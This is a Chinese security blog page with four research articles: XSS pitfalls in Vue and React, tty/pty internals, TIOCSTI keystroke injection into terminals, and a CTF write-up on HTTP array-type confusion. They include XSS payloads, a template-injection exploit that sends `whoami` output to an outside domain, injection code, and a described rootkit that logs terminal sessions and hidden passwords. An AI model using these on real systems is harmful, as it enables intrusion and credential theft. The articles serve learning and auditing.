Articles in the category of 安全研究

安全研究

前言

如今大量前端开发皆采用现代化前端框架,如Vue和React,这类框架对于XSS提供了自带的防御措施,大部分情况下基本完全杜绝了XSS,但是在某些特定的场合下,依旧存在XSS风险,为了避免在一些渗透测试,安全服务中在这类框架上花无用的挖洞时间,此文来探讨一下此类框架是如何防御XSS以及如何产生XSS的
介于此,此文将尽可能少的介绍Vue和React的基础知识,不了解的读者可以视情况先学习一下前置知识在看此文

Vue

防御

我们知道,Vue采用数据绑定的方式,将变量绑定到dom树上,如下所示

<div id="app">
    <p>{{ message }}</p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: 'Hello Vue.js!'
        }
    })
</script>

el代表dom的查询表达式,查询id=app的元素
然后将 {{}}里的message变量渲染为Hello Vue.js! 字符串
几乎所有的开发都这么写,那么假如我们message变量可控会如何

<div id="app">
    <p>{{ message }}</p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>

这里message被我们硬编码为了html代码,当然正常代码会动态给message赋值,这里效果一样,不额外举例,现在我们看看渲染的结果
图片.png
可以看到,即使我们可控这些变量,开发者也没有做任何过滤,我们的xss payload依旧被转义为实体字符。
这就是vue底层做的事,vue对于变量绑定,底层其实是用了Javascript原生的innerText方法,而innerText默认会把所有html元素进行转义,由于innerText也是Js原生方法,当然正常情况不可能绕过

所以有时候,我们在某些系统里狂插payload,大家会发现没有一个弹窗,可能这不是开发者防御意识高,只是人家用了框架,攻击的方式错了

隐患1

如果开发者有将html代码作为值传入到变量中的需求呢,比如动态生成表格,对于一个大型框架来说,肯定有这种渲染标签的功能,
对于Vue来说,这个功能的指令叫V-html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Vue</title>
    <script src="https://cdn.staticfile.org/vue/2.2.2/vue.min.js"></script>
</head>
<body>
<div id="app">
    <p v-html="message"></p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>
</body>
</html>

图片.png
很明显感觉到,v-html指令应该就是调用的document.innerHTML方法
如果开发者用v-html方法进行参数传递,并且参数可控,那么即可造成XSS

隐患2

vue用的最多的方法还是{{}},双大括号变量绑定,这个双大括号本质和 v-text指令是一样的,就是上面说的调用的innerText方法,对于一般的普通系统来说,几乎开发者全程使用{{}}进行参数传递,很少会额外用到v-html指令,那么如果不用v-html就没有常见的XSS问题了嘛?
对于一种很常见的XSS case,vue是没有做任何的防御的

<body>
<div id="app">
    <a :href="url">click me</a>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            url: "javascript:alert(111)"
        }
    })
</script>
</body>

a标签的属性xss,vue是没有任何防御措施的,我们只需要传入javascript:alert(1)即可触发XSS
除此以外
iframe的src属性,object标签的src属性都是可以触发XSS的


:href 其实是 v-bind:href的缩写
下面两个写法一样

    <a :href="url">click me</a>
    <a v-bind:href="url">click me</a>

隐患3

在javascript函数里面使用原生危险函数,比如innerHTML eval等,这个不再多说

React

React习惯用类语法来编写

隐患1

跟上诉href src一样,react不会对链接产生的xss进行过滤

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>Hello React!</title>
    <script src="https://cdn.staticfile.org/react/16.4.0/umd/react.development.js"></script>
    <script src="https://cdn.staticfile.org/react-dom/16.4.0/umd/react-dom.development.js"></script>
    <script src="https://cdn.staticfile.org/babel-standalone/6.26.0/babel.min.js"></script>
</head>
<body>

<div id="example"></div>
<script type="text/babel">

    class WebSite extends React.Component {
        constructor() {
            super();

        }
        render() {
            return (
                <div>
                    <a href={this.props.site}>click me</a>
                </div>
            );
        }
    }
    ReactDOM.render(
        <WebSite site="javascript:alert(1)"/>,
        document.getElementById('example')
    );
</script>

</body>
</html>

隐患2

同样如上v-html,react也提供了一个渲染html的方法,不过这个办法名字比较吓人
dangerouslySetInnerHTML


<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>Hello React!</title>
    <script src="https://cdn.staticfile.org/react/16.4.0/umd/react.development.js"></script>
    <script src="https://cdn.staticfile.org/react-dom/16.4.0/umd/react-dom.development.js"></script>
    <script src="https://cdn.staticfile.org/babel-standalone/6.26.0/babel.min.js"></script>
</head>
<body>

<div id="example"></div>
<script type="text/babel">

    class WebSite extends React.Component {
        constructor() {
            super();

        }
        render() {
            return (
                <div>
                    <p dangerouslySetInnerHTML={{__html:this.props.site}}></p>
                </div>
            );
        }
    }
    ReactDOM.render(
        <WebSite site="<svg/onload=alert(1)>"/>,
        document.getElementById('example')
    );
</script>

</body>
</html>

这个dangerouslySetInnerHTML跟vue的v-html比较类似

隐患3

同上,使用原生函数

总结

了解这些会有什么帮助

白盒审计

如果我们在对前端项目进行审核的时候,如果发现前端项目是用vue或者react进行编写的话,我们就可以只关注上面的危险函数关键字,避开其他的常规功能,比如全局搜索 如下关键字

:href
v-bind:href
:src
v-bind:src
v-html
------------------------------
href={
src={
dangerouslySetInnerHTML=

------------------------------
innerHTML
eval(
....

黑盒审计

当然,大部分时候我们是没有源代码的,我们一般面对的是一个webpack打包后的构建产物js,如果有sourcemap泄露的话,我们就可以当上面白盒进行审计,如果在没有sourcemap泄露的情况下,就必须硬怼黑盒环境了,当然黑盒会有一些技巧
一般来说,Vue和React不会单独使用,大部分与现在前端常用的UI框架结合使用,比如Vue+elementUI,React+Antdesign


这类UI框架有个很明显的特征,一般常用于CRM系统,就是什么后台管理系统这类的,像这个样子


图片.png
图片.png
图片.png
这种清一色的,左边上面菜单栏,中间内容,UI比较爽快的,大部分都是Vue+React的前端框架,所以在这里面疯狂扔<img src=#....是没有用的
正确的姿势是:
找输入链接的地方,比如网址,图片链接等输入框,插入javascript:alert(1)等,当然这里也有可能SSRF
找富文本,表格等,或者抓包发现往后端直接发送标签的地方,插入XSS poc
放弃掉其他功能,因为框架会做默认的转义

- Read More -
安全研究

前言

pty(pseudo terminal)又称伪终端,大家比较熟的可能是tty (Teletype),也就是计算机的终端设备。这篇文章就是阐述何为pty,pty本质是什么,为什么我们渗透的时拿到shell后需要获取pty,没有pty为什么处处受限。pty和tty的关系又是什么

tty

在说明pty之前,需要介绍一下tty,tty可以直接理解为终端,而介绍tty需要大概说明一下计算机的历史,tty全称为Teletypes(电传打字机),是通过串行线用打印机键盘通过阅读和发送信息的东西,后来这东西被键盘和显示器取代,所以现在叫终端比较合适。
下面是早期计算机通过电传打字机交互的模型

UART 驱动
如上图所示,物理终端通过电缆连接到计算机上的 UART(通用异步接收器和发射器)。操作系统中有一个 UART 驱动程序用于管理字节的物理传输。
线规
上图中内核中的 Line discipline(行规范)用来提供一个编辑缓冲区和一些基本的编辑命令(退格,清除单个单词,清除行,重新打印),主要用来支持用户在输入时的行为(比如输错了,需要退格)。
TTY 驱动
TTY 驱动用来进行会话管理,并且处理各种终端设备。

UART 驱动、行规范和 TTY 驱动都位于内核中,它们的一端是终端设备,另一端是用户进程。因为在 Linux 下所有的设备都是文件,所以它们三个加在一起被称为 "TTY 设备",即我们常说的 TTY。

再来看一个linux控制台的模型

虽然这个模型看上去没什么问题,但随着linux的发展,终端固定再内核层过于僵化,某些进程需要自主实现一个终端模拟器,比如ssh,xterm。而tty完全由内核接管。用户态无法使用tty的功能,于是linux提出将终端仿真移动至用户态,这就是pty的由来

当创建一个伪终端时,会在 /dev/pts 目录下创建一个设备文件:

如果是通过 PuTTY 等终端仿真程序通过 SSH 的方式远程连接 Linux,那么终端仿真程序通过 SSH 与 PTY master side 交换数据。

线规

线规(line discipline),线规是终端(tty)子系统的一部分。线规将底层设备驱动程序代码与高层通用接口例程(比如read,write等系统调用)粘合在一起,并负责实现与设备关联的语义。
例如,标准线规会根据类Unix系统上终端的要求,处理从硬件驱动程序和写入设备的应用程序接收到的数据。在输入时,它处理特殊字符,例如中断字符(通常为Control-C)以及擦除和杀死字符(通常分别为backspacedelete和Control-U),并且在输出时,它将所有LF字符替换为CR / LF序列。
通俗来讲,线规会把用户输入的某些特殊字符替换成真正用户想表达的语义,比如退格键代表删除一个字符。而不是输入一个退格键的ascii码进去。
所以,为什么我们在渗透的时候弹回来的shell,如果直接输入退格键会出现乱码,就是因为退格键没有经过线规的处理,被直接当做了一个字符。
PS:线规处于内核层

pty

如上所说,为了使应用程序能有效使用终端功能,操作系统提供了伪终端功能。那pty的实现是怎么样的呢
pty由master和slave两端构成,在任何一端的输入都会传达到另一端。与tty不同,系统中并不存在pty这种文件,它是由pts(pseudo-terminal slave)和ptmx(pseudo-teiminal master)两种设备文件来实现的。

pts

(pseudo-terminal slave)即伪终端的slave端。在Linux的/dev/pts/文件夹下有对应设设备文件。
我们可以通过tty命令查看当前用户的登录终端,如下图所示:

ubuntu@VM-32-73-ubuntu:/dev$ tty
/dev/pts/1

当我们设备文件/dev/pts/1进行输出时,屏幕上会显示相应输出:

ubuntu@VM-32-73-ubuntu:/dev$ echo hello >/dev/pts/1
hello

倘若访问别的slave文件,如/dev/pts/2,则会返回权限不足错误:(root例外)

ubuntu@VM-32-73-ubuntu:/dev$ echo hello >/dev/pts/2
-bash: /dev/pts/2: Permission denied

所以,如果我们拥有root权限,我们理论上可以控制任何伪终端的输出

ptmx

(pseudo-terminal master)
ptmx是伪终端的master端。在/dev下仅有2个ptmx文件,其信息如下:

ubuntu@VM-32-73-ubuntu:/dev$ ll /dev/ptmx
crw-rw-rw- 1 root tty 5, 2 Jan 16 16:38 /dev/ptmx
ubuntu@VM-32-73-ubuntu:/dev$ ll /dev/pts/ptmx
c--------- 1 root root 5, 2 Mar 17  2018 /dev/pts/ptmx

讲讲现象背后的故事
当ubuntu系统创建一个新的terminal时(比如上面的pts/1)
首先执行ptm = open('/dev/ptmx',...)操作
接下来fork(),然后child进程将打开'/dev/pts/1',dup2到0,1和2句柄上,随后执行execl启动一个shell.
pts = open('/dev/pts/1',...);
dup2(pts, 0); // 对应lib库中stdin
dup2(pts, 1); // 对应lib库中stdout
dup2(pts, 2); // 对应lib库中stderr
close(pts);
execl("/system/bin/sh", "/system/bin/sh", NULL);
// 这样sh输入数据将全部来自pts,
// sh的输出数据也都全部输送到pts,也就直接送到了打开ptmx的新terminal中.

新terminal将启动GUI,捕获按键数据,然后写入ptm,这样pts将收到数据,进而sh将从stdin中获得数据,
于是sh将作进一步运算,将结果送给stdout或stderr,进而送给pts,于是ptm获得数据,然后terminal的GUI
将数据显示出来.

terminal捕获到key按键值 <--> ptm <--> pts/1 <--> stdin <--> shell读到数据
shell数据结果 <--> stdout <--> pts/1 <--> ptm <--> terminal显示

因为是master - slaver,所以ptm只有一个,pts可以有多个
我们用一个ssh的图来看

+----------+       +------------+
 | Keyboard |------>|            |
 +----------+       |  Terminal  |
 | Monitor  |<------|            |
 +----------+       +------------+
                          |
                          |  ssh protocol
                          |
                          ↓
                    +------------+
                    |            |
                    | ssh server |--------------------------+
                    |            |           fork           |
                    +------------+                          |
                        |   ↑                               |
                        |   |                               |
                  write |   | read                          |
                        |   |                               |
                  +-----|---|-------------------+           |
                  |     ↓   |                   |           ↓
                  |   +--------+   +-------+    |       +-------+  fork   +-------------+
                  |   |  ptmx  |<->| pts/0 |<---------->| shell |-------->| tmux client |
                  |   +--------+   +-------+    |       +-------+         +-------------+
                  |   |        |                |                               ↑
                  |   +--------+   +-------+    |       +-------+               |
                  |   |  ptmx  |<->| pts/2 |<---------->| shell |               |
                  |   +--------+   +-------+    |       +-------+               |
                  |     ↑   |  Kernel           |           ↑                   |
                  +-----|---|-------------------+           |                   |
                        |   |                               |                   |
                        |w/r|   +---------------------------+                   |
                        |   |   |            fork                               |
                        |   ↓   |                                               |
                    +-------------+                                             |
                    |             |                                             |
                    | tmux server |<--------------------------------------------+
                    |             |
                    +-------------+

需要注意的是,由于pts是slave端,所以不支持一对多,如果我们在linux中开启两个终端分别是pts1 和 pts2
如果我们再pts2中执行 cat /dev/pts/1命令,然后我们在pts1终端中输入字符,可以发现一部分字符会回显再pts1端上,另一部分的字符会会显在pts2上。我画个图就很好理解为什么了
图片.png
当我们在pts1中输入数据时,输入流从ptmx传递给pts1在传递给bash,bash会把用户输入原样返回给输出流。这时候pts1接收到bash返还给的输出,但此时有两个应用程序在等待pts1的返回。一个是ptmx,一个是pts2下的cat进程(其实应该是pts2下bash的子进程)。于是此时就发生了数据争夺。linux内核调度器根据当时情况随时都会将他们中的一个调出或者调入,因此数据就出现了一部分被送到了pts/2的cat命令,另一部分被送到了pts1的shell,

终端与伪终端的区别

至此我们可以得出这样的结论:现在所说的终端已经不是硬件终端了,而是软件仿真终端(终端模拟软件)。
关于终端和伪终端,可以简单的理解如下:

  • 真正的硬件终端基本上已经看不到了,现在所说的终端、伪终端都是软件仿真终端(即终端模拟软件)
  • 一些连接了键盘和显示器的系统中,我们可以接触到运行在内核态的软件仿真终端(tty1-tty6)
  • 通过 SSH 等方式建立的连接中使用的都是伪终端
  • 伪终端是运行在用户态的软件仿真终端

制作rootkit

上一篇文章留下来的坑https://evoa.me/index.php/archives/64/
我们试试能不能制作一个rootkit,负责记录所有pty的输入输出,这样当我们拿下一台linux主机之后。我们就可以监控所有终端的输入输出。包括其他用户ssh连上来的和在此机器上通过ssh连别的机器的所有输入输出。
但是可惜的是,我搜遍了几乎所有,都没有找到一个完美的解决方案,唯一能让我稍微满意的,就是通过strace命令监控io系统调用。
于是我写了一个很丑的脚本,勉强能完成上诉需求。
怎么实现呢,原理很简单,一般来说pty是由一个进程来控制的,那么我们只要知道这个进程的进程id(pid),那么通过strace获取这个进程的io系统调用,write(1)代表输出,read(0)代表输入(文件描述符),然后通过正则获取参数,就可以获取pty的所有系统调用了
优点:

  1. 可以获取连接到此机器的所有伪终端的输入输出。包括不限于telnet,ssh,本地终端
  2. 可以获取到连接到此机器的基础上,在通过telnet,ssh等连接到别的机器时所有的输入输出(可无限循环)
  3. 可以获取到不回显至终端的输入(比如sudo时输入的密码,mysql连接时的密码)

缺点:

  1. 必须拥有root权限,否则只能获取和当前用户同一pty的进程的输入输出
  2. 严重依赖ptrace系统调用和strace命令
  3. echo 0 > /proc/sys/kernel/yama/ptrace_scope,当然root权限可以更改此选项

由于代码过丑,存在很多bug,我暂时就不贴出来和放在github了,等有时间写个go版本的用原生系统调用实现

大概说一下我的实现细节:

  1. 主程序第一次运行时,执行ps -ef获取当前系统所有pty进程,
  2. 删除与自身pty一样的进程
  3. 然后使用多进程或多线程运行strace命令依次获取这些进程的系统调用内容。
  4. 用正则获取所有的输入和输出,筛选(这部分很细节)
  5. 主程序运行第一次ps -ef以后会轮询ps -ef,如果发现新产生的pty进程,继续3步骤
  6. 把输入输出输出到文件或终端

说起来很容易,但是很多细节很麻烦

  1. 进程中还会有子进程,子进程还有子进程,会出现子进程退出主进程没退出或者主进程退出子进程还没从全局列表删去这些问题
  2. strace可以自动追踪子进程,但是可能和主程序的轮询冲突。
  3. trace附加到的进程无法获取父进程的输入输出,strace先附加进程,然后这个进程再产生子进程的话,strace可以追踪到,但是如果strace附加之前这个进程就已经产生的子进程,strace附加后无法获取到。
  4. write系统调用除了输出到1文件描述符会实现回显,输入到0标准输入也有回显,2标准错误也有回显,还可以直接输出到/dev/pts/x 还可以输出到/dev/tty
  5. dup2系统调用会复制一个文件描述符,我们需要追踪这个系统调用,然后判断复制的文件描述符是否是标准输入 标准输出 标准错误。需要实现一个全局列表记录
  6. close会关闭一个文件描述符,后续可能会有open或openat系统调用打开文件描述符,可能前一秒这个文件描述符是存在的,后一秒就被关闭了,再后一秒又被重新打开了并且指向发生了改变,这些都需要进行追踪

所以。。。具体实现细节过于麻烦,这也导致了我写的很难受

后话

如果想要我的残次品脚本的也可以私我。功能确实实现了,就是一堆bug

参考:
https://www.jianshu.com/p/11c01003211b
https://en.wikipedia.org/wiki/Line_discipline
http://www.linusakesson.net/programming/tty/
https://segmentfault.com/a/1190000009082089
https://www.cnblogs.com/sparkdev/p/11460821.html
https://blog.csdn.net/zhoucheng05_13/article/details/86510469

- Read More -
安全研究

前言

在做分析二进制文件的时候,难免会遇到需要在程序输入处输入一些不可显字符,一般我们会通过pwntools进行解决

from pwn import *

con = process('ret2lib')
con.recvuntil("input:")

con.send("\x01\x01\x00\x01")
con.interactive()

但是当脚本存在一些问题,我们需要通过gdb调试时,在程序输入中输入不可显字符就较为麻烦。于是有了这篇文章

正常方法

pwn师傅给我的方案是,首先输入正常字符,输入后,找到字符串地址,通过GDB 命令 set xxx=xxx对内存处进行更改
图片.png

网上找了一下GDB set命令,大部分教程都是修改整型

(gdb) set {unsigned int}0x8048a51=0x0

对于字符串的修改却没找到中文资料
于是我稍微仿照试了一下啊,最终发现

(gdb) set {char [6]}0x8048a51="12345"

可行,需要注意,[]数值包括了0,所以需要比字符串常量多1。
并且类型不能使用{char *},否则 对应地址处会继续存放一个字符串指针,而不是字符串值,如下图

图片.png
图片.png
------------------------------------------------------------------------------------------------------

图片.png
图片.png

此外,我在网上还搜到一个人写的GDB插件,不过我下载下来以后使用不了,看源码发现是使用了GDB的call命令重定向了文件描述符(call 命令还有这个功能?不太懂)没有深究
https://www.jianshu.com/p/78e77277ebb5

错误方法

但是一开始我用的方法不是PWN师傅教我的,当时,我自己的理解是每个文件下都有3个文件描述符,
0 -> stdin(标准输入)
1 -> stdout(标准输出)
2 -> stderr (标准错误)
而且在Linux中,万物皆文件,这三个文件描述符分别存储在 /proc/{pid}/fd/ 下
那我直接往 标准输入里面写数据不就可以了吗
我的做法如下
demo.c

#include<stdio.h>
#include <unistd.h>
int main(){
    pid_t pid = getpid();
    char s[100];
    printf("pid of this process:%d\n", pid);
    printf("please input string:\n");
    scanf("%s",s);
    printf("U input String is :%s",s);
    return 0;
}

运行过程
图片.png

这是我键盘输入的123456798,那如果我往标准输入写数据呢

下面是我的尝试
图片.png
keyboard input :123456是我在键盘上打出来的字符串,很明显可以看到,虽然我们往对应进程的标准输入描述符中写入的数据被打印到了终端上,但是程序进程的输出却告诉它并没有接收到这些数据。而我用键盘继续输入的字符串才真正被程序接收
PS: 由于scanf函数读取到空格会停止,所以keyboard后面的字符串并没有被接受

原因

虽然往标准输入写数据 理论上听上去没什么问题,但是结果告诉我们并不能成功,网上搜索的时候中文搜索引擎并没有相关的结果,但是谷歌一下就找到了原因

https://serverfault.com/questions/178457/can-i-send-some-text-to-the-stdin-of-an-active-process-running-in-a-screen-sessi#
中文翻译一下大概就是
提问者提出了linux服务器终端有个任务,怎么样才能写脚本代替手工往这个终端任务的标准输入写数据

而下面的回答就是,往/proc/{pid}/fd/0 写入数据只会回显到tty上,并不会被程序接受
原因是 正常的写文件操作并不能被程序读取,需要以一种特殊的方式发送输入文本以供过程读取。通过常规文件write方法发送输入文本将不会导致进程接收文本。这是因为这样做只会附加到该“文件”,而不会触发进程读取字节。
为了触发该过程以读取字节,必须对要发送的每个单个字节IOCTL执行类型的操作TIOCSTI。这会将字节放入进程的标准输入队列中。
我的理解是,这种输入不是正常文件读取,而是一种流式传输,所以我上面的粗暴写文件方法是无效的。

那怎么进行流式传输呢,系统肯定提供了对应的系统调用呀
系统调用 ioctl
图片.png

C demo

根据描述,ioctl是控制文件描述符 I/O通道的函数,答者根据这个系统调用写了一个小demo来往标准输入里面写数据
PS: 往其他文件的标准输入写数据需要root权限

对应的demo
https://raw.githubusercontent.com/grawity/code/master/thirdparty/writevt.c

/*
 * Mostly ripped off of console-tools' writevt.c
 */

#include <stdio.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>

char *progname;

static int usage() {
    printf("Usage: %s ttydev text\n", progname);
    return 2;
}

int main(int argc, char **argv) {
    int fd, argi;
    char *term = NULL;
    char *text = NULL;

    progname = argv[0];

    argi = 1;

    if (argi < argc)
        term = argv[argi++];
    else {
        fprintf(stderr, "%s: no tty specified\n", progname);
        return usage();
    }

    if (argi < argc)
        text = argv[argi++];
    else {
        fprintf(stderr, "%s: no text specified\n", progname);
        return usage();
    }

    if (argi != argc) {
        fprintf(stderr, "%s: too many arguments\n", progname);
        return usage();
    }

    fd = open(term, O_RDONLY);
    if (fd < 0) {
        perror(term);
        fprintf(stderr, "%s: could not open tty\n", progname);
        return 1;
    }

    while (*text) {
        if (ioctl(fd, TIOCSTI, text)) {
            perror("ioctl");
            return 1;
        }
        text++;
    }

    return 0;
}

编译完以后,只需要执行

writevt /proc/{pid}/fd/0 "you text"

图片.png

但是这个程序有个小bug,很明显,这个程序是把第二个命令行参数当作文本,第一个参数当成描述符。但是如果我们需要输入特殊字符,比如回车,我们一般会这么输入
图片.png
但是程序显示参数过多,因为回车会被当成命令行分隔符,123n456,运行结束后123会被当成第二个命令行参数,456会被当成第三个命令行参数,所以我们无法通过这个输入某些特殊字符。

这肯定不是我们想要的,但修改C代码稍微有点繁琐,好在,另一个回答提供了python demo

python demo

import fcntl
import sys
import termios

with open('/dev/tty1', 'w') as fd:
    for char in "ls -la\n":
        fcntl.ioctl(fd, termios.TIOCSTI, char)

稍微改成上面的形式就是

import fcntl
import sys
import termios

with open(sys.argv[1], 'w') as fd:
    for char in sys.argv[2]:
        fcntl.ioctl(fd, termios.TIOCSTI, char)

有了python就好办事了,我们可以规定命令行传入的特殊字符会编码一次,而程序中再解码一次即可

#!/usr/bin/python
# writev.py

import fcntl
import sys
import termios

with open(sys.argv[1], 'w') as fd:
    for char in eval("'"+raw_input()+"'"):
        fcntl.ioctl(fd, termios.TIOCSTI, char)

图片.png
PS:由于bash中会转义反斜杠,所以这里需要双反斜杠

成功的把数据输入到了进程的标准输入中,进程也成功接收到了数据

tty

触类旁通,我们知道linux中,每个终端就代表了一个tty,tty也是一个文件描述符,既然我们能控制输入输出,理论上就应该也能控制tty,
图片.png
确实如此,我们可以模拟tty的键盘输入,往tty里面写数据,但是如果要获取tty的标准输出,和获取正常输入的标准输入呢?

这里埋个坑。这方面的资料真的太少了,google搜到的资料也太杂了,暂时也没什么思绪,准备明天去看看pwntools的源码,先鸽了,一定更新,下次一定

- Read More -
安全研究

前言

这个思路的起因是因为 今年的SCTF2019我出的一道Web题目 Flag Shop,当时这道题目我准备的考点只是一个ruby的小trick,并且有十几个队伍成功解出,但是在比赛的最后 VK师傅@Virink告知我这道题存在一个非预期 可以GetShell。这个非预期Getshell的知识点就是本文的主体内容,而后我在多个编程语言里进行了测试,发现很多语言也存在相似的问题。遂有了此文章。
在文章发布之前的UNCTF中,我把node.js在此攻击面上的问题单独抽离了出来做了一道题目。想看这道题wp的师傅可以移步另外一篇文章
推荐师傅们看此文章前,先看一遍 SCTF 2019 Flag Shop和 UNCTF arbi第三部分的Wp

SCTF flag shop Write-up flag-shop](https://github.com/ev0A/SCTF2019-Flag-Shop)

例题

我还是决定先从大家最喜欢的PHP讲起,请看这一道例题

<?php

$flag = "flag";

    if (isset ($_GET['ctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

这是Bugku的一道题目 相信大部分人都做过,考察的的是PHP的弱类型,这里只需要输入?ctf[]=1即可绕过,这就是一个最简单的HTTP传参的类型差异的问题,但是实际中不可能有程序员写出这种无厘头的代码,而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题,所以就在思考,有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢

Ruby

为了让大家更快了解我的标题的含义,我直接用我当时flag shop非预期来做一个讲解

预期解

if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

这个就是我的Flag Shop中存在非预期的代码,如果对这道题不是特别了解的话可以去看看,buuctf有此题的复现环境http://buuoj.cn/ 再此感谢下赵总上题 [@glzjin ]()

这里简单讲一下 预期做法,就是此题用了一个ERB模板引擎,在此题条件下存在模板注入的问题,但是我限制了用户只能输入7位 字符串进行模板注入 就是上面的第一行

#{params[:name][0,7]}

这行代码 代表 url参数名是name 并取前七位,然后模板渲染并且可回显需要<%==> 标志,除去这5个字符只剩下2个字符可用 ,这道题就是两个字符进行模板注入爆破JWT-Secret。

非预期解

当然,上面是预期解的做法,下面讲讲非预期解的做法,

看文下面这个代码,大家就知道为什么会产生非预期了

$a = "qwertyu"
$b = Array["bbb","cc","d"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

{}可以想象成 ${} 代表解析里面的变量
[0,3]可以想象成python的[0:3]
输出结果

[evoA@Sycl0ver]#> ruby test.rb
$a: qwe
$b: ["bbb", "cc", "d"]

这里,可以类比PHP中的弱类型,$b变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]

有了这个trick,上面代码[0,7]从原本的限制7个字符突然变成了限制7个数组长度emmmmmmm,于是

非预期exp

/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

直接实现了任意命令执行

解释

这就是一个HTTP参数传递类型差异的问题,具体的意思就是,由于语言的松散型,url传参可以传入非字符串以外的其他数据类型,最常见的就是数组,而后端语言没有做校验,并且在某些语法上,字符串和数组存在语法重复,就可以利用这个特性,绕过一些程序逻辑

什么叫语法重复,就是对一个变量进行一些操作,不管变量是数组还是字符串,都可以成功执行并返回。
最常见的就是输出语法,比如echo ,大部分编程语言会把数组转换为字符串。
当然,这并不是什么新鲜的攻击面,只是在之前没多少人系统的归纳这种攻击方式,但我觉得如果能找到一个合适的场合,这种利用方式还是很强大的(比如我的getshell非预期Orz

Javascript

数组和字符串

很多师傅是JS的忠实粉丝,因为其强大的灵活性和爽快的代码风格

但是JS不属于强类型语言,他也同样存在类似的问题

var a="abcedfghijtk"
var b=["qwe","rty","uio"]

console.log(a[2])
console.log(b[2])

输出:

[evoA@Sycl0ver]#> node test.js
c
uio

当然,仅仅是一个[]语法还是比较鸡肋的,我们需要找能同时兼容数组和字符串的函数或语法,JS中对数组和字符串通用的函数有哪些呢

测试代码

function contains(arr, obj) {
  var index = arr.length;
  while (index--) {
    if (arr[index] === obj) {
      return true;
    }
  }
  return false;
}
//两数组 取并集
function arrayIntersection (a,b){
  var len=a.length;
  var result=[];
  for(var index=0;index<len;index++){
    if(contains(b,a[index])){
          result.push(a[index]);
        }
  }
  return result;
}

console.log(arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor)))

输出结果

arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor))
(7) […]

0: "prototype"

1: "slice"

2: "indexOf"

3: "lastIndexOf"

4: "concat"

5: "length"

6: "name"

length: 7

<prototype>: Array []

这是数组和字符串通用的方法,除了原型对象自身的方法外,还有全局下的一些函数和语法,他们的参数既可以是数组,也可以是字符串。比如

/test/.test("asdtestasd")
/test/.test(["asdtestasd","123"])

字符串与数组拼接时也存在默认调用toString方法

> b+a
"qwe,rty,uioabcedfghijtk"

数组和对象和字符串

然而,Express框架中,有一个更神奇的特性,HTTP不仅可以传字符串和数组,还可以直接传递对象

var express = require('express');
var app = express();
app.get('/', function (req, res) {
   console.log(req.query.name)
   res.send('Hello World');
})
 
var server = app.listen(8081, function () {
  var host = server.address().address
  var port = server.address().port
 
})

输入

?name[123]=123&name[456]=asd

输出

{ '123': '123', '456': 'asd' }


我们把

console.log(req.query.name)

改成

console.log(req.query.name.password)

输入

/?name[password]=123456

输出

123456

我们来看几个好玩的

输入输出
?name[]=123456&name[][a]=123[ '123456', { a: '123' } ]
?name[a]=123456&name=b{ a: '123456', b: true }
?name[a]=123456&name[a]=b{ a: [ '123456', 'b' ] }
?name[][a]=123456&name[][a]=b[ { a: [ '123456', 'b' ] } ]

感觉有点像HPP漏洞,但实际又不是
unctf中,我就采用了 .length方法用来判断字符长度,而length也存在一个语法重复,可以对数组进行操作,通过url传入数组,构造恶习url即可绕过

结合一下数组和对象通用方法 我觉得,这方面express很多有趣的特性可以去发现

PHP

php可以从url中获取数组类型,然而可惜的是,php 对于数组和字符串 官方文档中说明,存在重复的语法很少,输出语法中,数组只会被替换为 "Array" 字符串。
但是,数组传入一些函数都会获得一些奇怪的返回值,这就是很多弱类型CTF题目的考法,可以通过url传入数组,进入一个函数,获得一个奇怪的返回值绕过。所以我觉得,在这个方向,PHP还是存在很大一片挖掘的领域的。

Python

Python的框架貌似不太支持http传入奇怪的东西

经测试

django 和 flask默认不支持传入奇怪的东西(只能传入字符串)

web2py框架支持传入列表

tornado的self.get_query_argument只会获取一个参数,self.get_query_arguments可以获取列表

很可惜,如果我们通过一种方式获取到非字符串类型的数据类型(比如json传递,xml传输等),在Python中,我们也能有好玩的方式

PS: Py不像Js那样,获取列表字典的值必须要用xxx["xxx"]的语法而不能用xxx.xxx

废话不多说 看代码

a = "qwertyuiop"

b = ["aaa","bbb","ccc","ddd"]

c = "----%s----" %b

print(a[:3])
print(b[:3])
print(c)

结果

[evoA@Sycl0ver]#> python test.py
qwe
['aaa', 'bbb', 'ccc']
----['aaa', 'bbb', 'ccc', 'ddd']----

同样,python也有全局方法 参数既可以是字符串也可以是变量

a=dir("123")
b=dir([1,2,3,4])
tmp = [val for val in a if val in b]
#取a b 交集
print tmp

结果

